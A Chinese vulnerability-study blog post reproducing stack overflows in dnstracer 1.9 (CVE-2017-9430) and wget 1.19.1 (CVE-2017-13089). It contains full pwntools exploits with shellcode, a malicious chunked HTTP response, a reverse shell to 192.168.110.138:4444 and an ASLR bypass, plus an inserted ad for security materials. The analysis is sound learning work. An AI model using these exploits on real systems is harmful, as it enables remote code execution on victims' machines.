最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比较早,但还是能学到一些东西。
CVE-2017-9430
1.漏洞描述
dnstracer 1.9 及之前版本中基于堆栈的缓冲区溢出允许攻击者通过命令行造成拒绝服务(应用程序崩溃),或者可能通过命令行造成未指定的其他影响。
2.环境搭建
编译安装DNSTracer 1.9
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./confugure
make && sudo make install
在make前,修改Makefile
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32
编译好后,关闭ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
或者
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
3.漏洞成因
程序在处理命令行参数时,调用strcpy函数对argv[0]进行处理时,由于处理不当,导致了栈溢出漏洞。
4.漏洞利用
这里在进行利用时,关闭了ASLR、PIE、Canary、RELRO、NX等缓解机制。
由于strcpy未对参数长度进行检查,这里导致的栈溢出漏洞可以溢出足够的字符长度,并且关闭了各种缓解机制,所以我们通过返回到shellcode的方式获取shell。但在复现的过程中,发现一个有趣的地方。如果我直接溢出到返回地址,并不能完成预想的get shell。回到汇编
发现了问题,这里在ret之前,栈指针变了,是由ecx的值决定的,而ecx是从栈pop出来的。分析这段汇编代码发现,如果正常情况下,最后esp的位置和直接返回的没有这段处理代码的位置相同,但由于由这段代码,就导致不能直接覆盖到返回地址,否则会在执行倒数第二条汇编指令时触发非法地址。
所以,这里不能直接覆盖到返回地址,而是要通过布置栈中数据控制ecx,从而将ecx-4处的地址赋给esp,使esp指向存有shellcode地址的位置,这样就可以正常完成get shell了。
内存布局如下图
exp如下:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'info')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']
elf = './dnstracer-1.9/dnstracer'
# elf = ELF('./simpleinterpreter')
#-----------------------------------------------------------------------------------------
rv = lambda x : p.recv(x)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
u32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))
u64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------
if __name__ == "__main__":
filling = "\x90"*(1050-32-32-1-0x300)
filling += "\x4c\xcd\xff\xff" # ShellcodeAddress
filling += "\x90"*0x300 # 0xffffcd4c
filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"
filling += "bbbb"*4
filling += "\x4c\xcd\xff\xff" # ecx esp=[ecx-4]
payload = filling
p = gdb.debug([elf, payload],"b *0x0804969E")
inter()
5.坑点
在复现的时候还有一些坑点,我暂时也不知道原因。
①第一点就是这个在返回前对esp进行处理的汇编,我不知道为什么我编译出来的程序会有这一段,在网上看其他师傅复现的文档,都没有遇到这个问题,疑惑ing。
②第二点是我在复现的时候,明明已经关闭了ASLR了,按理说每次调试的时候,栈地址应该不会变才对,但事实上,我当天的地址是固定的,但隔天可能就会有0x10的偏移,很诡异,这就导致exp无法稳定攻击,为此只能在shellcode前面加很多的nop,让这个地址即使发生了偏移也能完成利用。
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
CVE-2017-13089
1.漏洞描述
http.c:skip_short_body() 函数在某些情况下被调用,例如在处理重定向时,在 1.19.2 之前的 wget 中分块发送响应时,块解析器使用 strtol() 读取每个块的长度,但不检查块长度是否为非负数,然后,代码尝试使用 MIN() 宏跳过 512 字节的块,但最终将负块长度传递给 connect.c:fd_read(),由于 fd_read() 采用 int 参数,因此丢弃了块长度的 32 位高位,使 fd_read() 具有完全由攻击者控制的长度参数。
2.环境搭建
在ubuntu16.04下搭建会比较稳定。
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
sudo apt-get remove wget
./configure
make && sudo make install
3.漏洞成因
由于使用strtol来读取每个块的长度,但没有进行负数检查。
例如读入长度为-0xFFFFF000,经过处理得到v22为0xffffffff00001000
后面有3次对长度的校验,但都只进行了上限校验,未进行下限校验,由于v22是int,且符号位为1,都满足校验条件,最终将长度传入函数fd_read。
由于fd_read()函数的长度参数即a3为无符号数,就使得读取的长度由用户可控,造成了栈溢出。
4.漏洞利用
这里在进行利用时,我们首先关闭ASLR、PIE、Canary、RELRO、NX等缓解机制。
根据漏洞成因的分析,我们可以先构造poc,控制读取的长度为我们利用需要的size,这里我设置为0x1000,相应poc如下
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
调试方式:
生成poc
python3 exp.py
发包窗口
nc -lp 6666 < poc2
gdb调试窗口
gdb wget
b *addr
r localhost:6666
先执行exp,生成poc,然后发包,然后执行wget http://localhost:6666
这个的栈溢出就比前面那个cve的栈溢出正常一点,直接覆盖返回地址为shellcode的地址就可以了。由于我们这里关闭了所有缓解机制,就直接在栈中布置shellcode,获取shellcode地址,覆盖到返回地址就ok了。
exp如下
from pwn import *
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568
stack = 0x7fffffffd190
payload += p64(stack) #输入数据起始地址
payload += b"\n0\n"
with open('poc2','wb') as f:
f.write(payload)
但是,如果开了ASLR,怎么办呢,我们很自然地会想到jmp reg的方式。
首先看看ret的时候,有没有寄存器可以用
很巧,rsi正好指向我们的shellcode,于是我们就可以去找个jmp rsi的gadget完成ASLR的绕过
直接找gadget比较慢,可以先把所有gadget重定向到txt中,然后在txt中查找会比较快
ROPgadget --binary=wget > gadget.txt
cat gadget.txt | grep 'jmp rsi'
得到绕过ASLR的exp
from pwn import *
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568
stack = 0x7fffffffd190
jmp_rsi = 0x0000000000475bcb
#payload += p64(stack) #输入数据起始地址
payload += p64(jmp_rsi)
payload += b"\n0\n"
with open('poc2','wb') as f:
f.write(payload)
可以看到,成功绕过了ASLR缓解机制,执行shellcode
5.坑点
在复现的过程中,我发现在关闭ASLR时,我通过第一种方式攻击,必须在gdb中执行才能成功,如下图
直接在命令行中执行wget http://localhost:6666会崩溃
但绕过ASLR的exp就可以直接执行,我怀疑是没有把ASLR完全关闭,但查看ASLR的值确实都是0,不知道为啥会这样。
小总结
在对这两个cve的复现中,对栈溢出漏洞的ret2shellcode和jmp reg两种利用方式进行了复习,遇到了一点比较有意思的东西,比如第一个cve中ret前对esp的改变。不论是在ctf中还是realworld,程序的利用最终一定是基于对程序汇编的理解,遇到问题,回归本源。